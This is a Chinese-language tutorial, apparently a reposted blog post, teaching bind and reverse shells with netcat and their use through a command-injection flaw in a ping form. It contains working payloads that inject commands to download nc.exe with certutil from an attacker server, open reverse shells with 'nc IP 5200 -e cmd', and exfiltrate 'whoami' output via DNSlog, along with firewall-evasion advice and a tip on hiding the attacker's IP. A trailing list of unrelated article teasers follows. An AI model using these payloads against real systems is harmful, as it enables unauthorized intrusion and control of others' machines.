[基础入门]正向shell和反弹shell

前言

在渗透过程能获取shell是很重要的一点,首先可以使用一些漏洞对ssh和ftp进行攻击获取shell,如果没有这些漏洞可以考虑一下使用正向shell或者是反弹shell。

一、什么是正向shell和反弹shell

其实这个过程是相对的,需要找到一个参考点,假如说现在目标机器是Windows,攻击机器是Linux,Linux去连接Windows这个过程就是正向的,相反,如果Windows主动连接Linux那就是反向的,也叫做反弹。

二、正向shell

现在有两台机器,一台是Linux,一台是Windows,我使用Linux正向shell到Windows上。

首先在Windows上使用nc工具进行绑定端口,这里使用的是本地环境

nc -lvp 5566 -e cmd

其中5566是绑定的端口号,cmd是Windows的命令行窗口,然后运行

img

出现这样的界面就代表监听开始了,然后来到Linux环境下,也是使用nc来进行连接,需要注意的是,Linux和Windows要互相能进行连接才有用

nc IP地址 5566

IP地址是目标机的IP地址,5566是刚才绑定的端口号

img

当出现下面的内容就代表着连接成功了

img

我们可以输入指令运行了

img

这就完成了一次正向shell,当然也可以让windows连接Linux,在Linux中也是一样的操作

img

绑定的也是5566,然后在Windows中使用刚才在Linux中使用的指令就可以进行连接

img

这里需要注意一下,当在Windows连接Linux的时候是不会显示任何东西的,你可以一直使用whoami来查看自己是否连接成功

img

如果出现用户名就代表着连接成功了。

这种方式就是让目标的某个端口携带着shell的程序等待着连接,攻击机自动的去连接它获取这个shell。

对于云服务器也是可以这样做的,首先来到目标的云服务器上,记住,一定要开放相应的端口才行,否则没办法使用。

img

然后本地连接对应的服务器IP地址和端口

img

就可以连接成功了

img

云服务器之间的互相连接也是可以的。

三、反弹shell

这种方式又是和正向是反过来了,攻击机自动打开端口等待着目标机带着shell进行连接。

这种配置的方法也很容易,假如我的Linux是攻击机,Windows是目标机,首先在攻击机这绑定一个端口

img

可以看到这里是没有携带着自己的shell的,然后在目标机中携带着shell来连接攻击机

img

可以看到这是携带着shell去连接到攻击机的,在攻击机中就可以获得对方的shell了

img

然后就可以运行命令了。

相反也是一样的,首先在Windows攻击机中进行监听端口

img

然后在目标机中连接端口并携带shell

img

然后在Windows这边就可以看到了

img

这种就是反弹shell,让目标主动的将shell送过来。

如果你要反向shell到内网中的机器,只能使用这个反向shell,如果使用正向是没有办法找到内网服务器中的电脑的。

比如说我要内外的一台Windows电脑被连接,首先我需要在我的云服务器上监听一下端口

img

然后使用一些手段到目标机器上连接服务器并携带shell

img

记得携带好端口号和cmd,然后在服务器上就可以看到连接的信息了

img

这种方法一般是用来规避防火墙的,因为安全组对于进入规则的等级比较高,但是对于出去的规则检查就比较低了。

在这个过程中攻击机是处于一种被动连接的条件,而目标机是主动连接的,也就是出服务器,所以基本上不会有什么阻止。

四、使用场景

对于一些RCE漏洞的网站,就可以使用反向代理来绕过其防火墙获得其shell。

1.什么是RCE

RCE(remote command/code execute) 远程系统命令执行,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

例如靶机中的这个一样

img

在输入框中输入url或者IP地址后就会执行命令

img

2.如何判断RCE漏洞

首先得了解一下在不同系统的管道符,管道符在学习Linux的时候会接触到,就是可以将多条指令连接在一起执行,就比如最常见的就是

ls -l |grep xxx

这种查找文件的命令。

管道符:|: 管道符号 ||:逻辑或 && 逻辑与 &:后台任务符

在Windows中有4中管道符,分别是

  • |
  • &
  • ||
  • &&

在Linux下就有6中

  • |
  • &
  • ||
  • &&
  • ``
  • ;

在Windows中如果要执行后面的语句我们可以这么写

ping www.baidu.com | whoami

这样只会执行后面的whoami指令,知道了这个后我们就可以用这个管道符号来寻找RCE漏洞了。

3.寻找RCE漏洞

我们知道了RCE漏洞其实就是执行了操作系统命令或者代码,所以我们可以使用管道符添加一下whoami就可以知道是否存在漏洞,输入

www.baidu.com | whoami

img

然后点击提交后就会发现这个显示的是当前的用户

img

这样我们就确定好这个页面存在RCE漏洞了,我们现在要做的就是上传nc工具,并开启监听,然后进行代理即可。

这里还需要知道一下,如何判断这个网站的后台是什么系统,用whoami执行后会出现用户,一般root的是Linux系统,当然这种方法也不一定准确,还是得需要使用一些指纹工具和端口扫描工具进行扫描。

4.上传nc

这里可以直接百度查找一下上传的命令,这里推荐一个工具可以直接找到

命令工具

然后得到指令后就可以用刚才的管道进行传输了,这里我使用的是这行代码进行远程下载

certutil.exe -urlcache -split -f http://IP:80/nc.exe nc.exe

其中IP是你的文件下载服务器IP,你可以自己搭建一个,搭建过程也是很简单的,首先先在服务器中下载一个宝塔或者Nginx,我比较推荐使用宝塔,直接图形化界面就搞定。

第一次下载打开面板后会让你安装一些环境,可以直接在这把环境安装好,也可以打开网页进行安装

img

然后新建一个网站就可以了,如果没有域名直接使用服务器的IP地址,然后端口可以随便选择,但后面记得在安全组中打开,然后将nc.exe文件放到网站目录中即可。

放入后可以来测试一下是否能进行下载,这里用一个绝对路由就可以搞定

IP地址/nc.exe

如果出现下载就证明成功了。

然后我们可以在电脑上先实验一下上面的命令,如果发现下载成功那就可以直接拿到靶机上去使用。

这里就可以利用RCE漏洞进行远程下载nc了,往输入框写入

127.0.0.1 | certutil.exe -urlcache -split -f http://IP:80/nc.exe nc.exe

img

然后点击ping,就会得到下面的结果

img

我们可以查看一下是否上传成功

127.0.0.1 | dir

在里面就可以看到我们传入的nc.exe了

img

然后我们就可以正向或者反向shell了,这里两种情况都给大家介绍一下,首先是正向,就是把自己的cmd主动绑定出去

127.0.0.1 | nc -lvp 5200 -e cmd

然后页面就会卡顿,我们使用本地或者服务器去连接

nc IP 5200

img

直接就获取到cmd,但是这种方法容易被防火墙拦截,所以我们最好使用反向。

在云服务器上监听一下端口

img

然后在RCE漏洞那输入

127.0.0.1 | nc IP 5200 -e cmd

主动的将cmd放出去

img

很容易就获取到了。

5.不带回显的情况

当这个漏洞不带任何的回显,也就是输入了没有任何的反应,就比如这个样子

img

那如何判断我们输入后的结果呢?

我们可以让这个去ping一下这个工具给的地址

img

如果ping了这个地址,这个页面就会出现内容

img

但是我们如果使用前面说的管道就没办法输出内容,因为那个是属于回显的内容,比如说我还是执行

7y6n06.dnslog.cn | whoami

它是不会显示任何的内容的,这里在Linux中使用

127.0.0.1 | ping `whoami`.7y6n06.dnslog.cn

img

它是会显示的

img

但如果我们在Windows中就不会显示用户,所以我们要使用一种方法将用户信息带入出去这样就可以知道执行是否成功了,这里需要使用到PowerShell来进行字符串的拼接,使用下面的命令就可以了,但我这ping不通,我也不知道什么情况

127.0.0.1 | powershell &x=whoami;&y="6zhay5.dnslog.cn";&x=&x.Replace("\", "xxx");&z=&x+&y;ping &z;

这样就可以将whoami信息带出来了,剩下的步骤还是一样的。

总结

使用正向和反向shell可以获取到对方的shell并实现一些命令的执行,当然这个东西也不是一定能成功的,如果对方开启了防火墙,设置了出入站规则就很容易失败,这只是网络安全学习的一个小步骤,往后还有很多。

你对别人进行这种攻击千万不要使用自己的服务器IP地址,容易被锤。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/871730.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用 Python 绘制词云图的详细教程

如何使用python绘制词云图 词云图(Word Cloud)是数据可视化中常用的一种技术,通过将文字以不同的大小、颜色和方向排列,以展示文本数据中词汇的频次和重要性。对于文本分析、情感分析、关键词提取等应用,词云图都能够…

【FreeRTOS】队列实验-多设备玩游戏(旋转编码器)

目录 0 前言1 任务1.1 本节源码1.2实验目的1.3实现方案 2 code2.1 创建队列2.2 写队列2.3 创建任务 3 勘误 0 前言 学习视频: 【FreeRTOS入门与工程实践 --由浅入深带你学习FreeRTOS(FreeRTOS教程 基于STM32,以实际项目为导向)】…

CronTab及定时任务

目录 CronTab及定时任务 一、定时任务的基本原理 二、Cron定时任务 但是 三、其他补充命令 CronTab及定时任务 一、定时任务的基本原理 # 每5秒钟向文本中输出一次时间#for i in {1..10}; do while [ 1 < 2 ]; dodate "%Y-%m-%d %H:%M:%S" >> /opt/lea…

Prism-学习笔记1-安装Prism

安装Prism 在VS2022中安装如下图&#xff1a; 2. 搜索Prism&#xff0c;安装Prism&#xff1a;&#xff08;ps&#xff1a;如果安装很慢&#xff0c;直接往上搜关键字 Prism template Pack 下载&#xff0c;或者这里我下载好的Prism包&#xff0c;提取码&#xff1a;bi7c&…

普通高校普通教师如何应对智能时代的冲击

前篇 艰难求生的转型之路-CSDN博客 背景 增量发展阶段&#xff0c;大部分人生活随着个人努力都会出现改善&#xff1b; 存量博弈阶段&#xff0c;大部分人&#xff0c;不展开&#xff0c;求生欲。 增量→“蛋糕”越来越大&#xff1b; 存量→“蛋糕”(*^_^*)凸(艹皿艹 ) …

将 hugo 博客搬迁到服务器

1. 说明 在 Ubuntu 22.04 上使用 root 账号&#xff0c;创建普通账号&#xff0c;并赋予 root 权限。 演示站点&#xff1a;https://woniu336.github.io/ 魔改hugo主题: https://github.com/woniu336/hugo-magic 2. 服务器配置 建立 git 用户 adduser git安装 git sudo apt …

C/C++ 多线程[1]---线程创建+线程释放+实例

文章目录 前言1. 多线程创建2. 多线程释放3. 实例总结 前言 说来惭愧&#xff0c;写了很久的代码&#xff0c;一个单线程通全部。可能是接触的项目少吧&#xff0c;很多多线程的概念其实都知道&#xff0c;但是实战并没有用上。前段时间给公司软件做一个进度条&#xff0c;涉及…

亲测解决Verifying shim SBAT data failed: Security Policy Violation

在小虎用u盘安装ubuntu系统的时候&#xff0c;笔记本出现了这个问题&#xff0c;解决方法是管关闭security boot。 解决方法 利用F2\F10\F12进入Bios设置&#xff0c;关闭security boot即可。 Use F2 to enter the bios security settings, close it. 参考 Verifying shim…

揭秘Semantic Kernel:用AI自动规划和执行用户请求

在我们日益高效的开发世界中&#xff0c;将任务自动化并智能规划变得越来越必要。今天&#xff0c;我要给大家介绍一个强大的概念——Semantic Kernel中的planner功能。通过这篇文章&#xff0c;我们会学习到planner的工作原理以及如何实现智能任务规划。 什么是planner&#x…

Spring GateWay自定义断言工厂

文章目录 概要整体架构流程最终的处理效果小结 概要 我们在线上系统部署了&#xff0c;灰度环境和生产环境时&#xff0c;可以通过自定义断言工厂去将请求需要路由到灰度环境的用户调用灰度的的服务集群&#xff0c;将正常的用户调用正常集群。 这样&#xff0c;我们可以在上线…

R语言论文插图模板第7期—分组散点图

在之前的文章中&#xff0c;分享过R语言折线图的绘制模板&#xff1a; 柱状图的绘制模板&#xff1a; 本期再来分享一下散点图&#xff08;分组&#xff09;的绘制方法。 先来看一下成品效果&#xff1a; 特别提示&#xff1a;本期内容『数据代码』已上传资源群中&#xff0c;…

碰撞检测 | 基于ROS Rviz插件的多边形碰撞检测仿真平台

目录 0 专栏介绍1 基于多边形的碰撞检测2 碰撞检测仿真平台搭建2.1 多边形实例2.2 外部服务接口2.3 Rviz插件化 3 案例演示3.1 功能介绍3.2 绘制多边形 0 专栏介绍 &#x1f525;课设、毕设、创新竞赛必备&#xff01;&#x1f525;本专栏涉及更高阶的运动规划算法轨迹优化实战…

【附源码】Python :PYQT界面点击按钮随机变色

系列文章目录 Python 界面学习&#xff1a;PYQT界面点击按钮随机变色 文章目录 系列文章目录一、项目需求二、源代码三、代码分析3.1 导入模块&#xff1a;3.2 定义App类&#xff1a;3.3 构造函数&#xff1a;3.4 初始化用户界面&#xff1a;3.5 设置窗口属性&#xff1a;3.6 …

基于距离度量学习的异常检测:一种通过相关距离度量的异常检测方法

异常通常被定义为数据集中与大多数其他项目非常不同的项目。或者说任何与所有其他记录(或几乎所有其他记录)显著不同的记录,并且与其他记录的差异程度超出正常范围,都可以合理地被认为是异常。 例如上图显示的数据集中,我们有四个簇(A、B、C和D)和三个位于这些簇之外的点:P1、P…

client网络模块的开发和client与server端的部分联动调试

客户端网络模块的开发 我们需要先了解socket通信的流程 socket通信 server端的流程 client端的流程 对于closesocket()函数来说 closesocket()是用来关闭套接字的,将套接字的描述符从内存清除,并不是删除了那个套接字,只是切断了联系,所以我们如果重复调用,不closesocket()…

Agentic Security:一款针对LLM模型的模糊测试与安全检测工具

关于Agentic Security Agentic Security是一款针对LLM模型的模糊测试与安全检测工具&#xff0c;该工具可以帮助广大研究人员针对任意LLM执行全面的安全分析与测试。 请注意 Agentic Security 是作为安全扫描工具设计的&#xff0c;而不是万无一失的解决方案。它无法保证完全防…

C++(11)类语法分析(2)

C(10)之类语法分析(2) Author: Once Day Date: 2024年8月17日 一位热衷于Linux学习和开发的菜鸟&#xff0c;试图谱写一场冒险之旅&#xff0c;也许终点只是一场白日梦… 漫漫长路&#xff0c;有人对你微笑过嘛… 全系列文章可参考专栏: 源码分析_Once-Day的博客-CSDN博客 …

Python数据结构:集合详解(创建、集合操作)④

文章目录 1. Python集合概述2. 创建集合2.1 使用花括号 {} 创建集合2.2 使用 set() 函数创建集合2.3 创建空集合 3. 集合操作3.1 添加和删除元素3.2 集合的基本操作3.3 集合的比较操作3.4 不可变集合&#xff08;frozenset&#xff09; 4. 综合例子&#xff1a;图书管理系统 Py…

30秒内批量删除git本地分支

在开发过程中&#xff0c;我们经常需要对本地的 Git 分支进行管理。有时&#xff0c;由于各种原因&#xff0c;我们可能需要批量删除本地的分支。这可能是因为某些分支已经不再需要&#xff0c;或者是为了清理本地的分支列表&#xff0c;以保持整洁和易于管理。 要批量删除本地…

没有用的小技巧之---接入网线,有内网没有外网,但是可以登录微信

打开控制面板&#xff0c;找到网络和Internet 选择Internet选项 点击连接&#xff0c;选择局域网设置 取消勾选代理服务器